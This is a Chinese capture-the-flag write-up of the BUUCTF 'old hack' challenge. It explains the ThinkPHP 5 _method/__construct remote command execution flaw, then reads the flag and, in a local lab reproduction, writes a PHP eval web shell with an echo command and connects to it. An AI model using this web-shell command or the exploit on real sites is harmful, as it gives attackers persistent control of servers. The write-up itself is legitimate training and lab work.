BUUCTF old hack


1.打开页面,获取提示信息

打开页面,页面提示powered by Thinkphp。说明可能和thinkphp框架有关。也确实如此,这里用到了thinkphp5的远程命令执行漏洞。在用这个thinkphp的漏洞前,先了解一下有关thinkphp的一些基础知识:

BUUCTF old hack

thinkphp是一个用来简化企业应用开发和敏捷WEB应用的php框架。thinkphp包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件。简而言之,thinkphp是一个用来简化php网站开发的框架,让开发者更注重于业务逻辑。


2.thinkphp5远程命令执行漏洞

漏洞描述:由于thinkphp对框架中的核心Requests类的方法method方法提供了表单请求伪造,该功能利用 $_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

使用kali查找一下漏洞的利用方法:

1.searchsploit thinkphp 查找thinkphp相关的漏洞

BUUCTF old hack

2.cd usr/share/exploitdb/exploits/php/webapp/46150.txt 查看漏洞的利用方法

BUUCTF old hack

3.post传参,发现页面提示flag在路径下存放
BUUCTF old hack

BUUCTF old hack

4.把ls /换成cat /flag,获得最后的flag

5.提交flag

BUUCTF old hack


3.漏洞复现

下载thinkphp5.0.22: http://www.thinkphp.cn/donate/download/id/1260.html

通过phpstudy搭建环境,解压文件到WWW目录下

访问:localhost/thinkphp5.0.22/public

post传参 这里可以换成echo 233测试一下

BUUCTF old hack

写入shell 换成 echo ^<?php @eval($_POST[cmd]);?^> >shell.php

可以看到成功写入shell,用菜刀连接试试,能连接,说明写入shell成功了。

BUUCTF old hack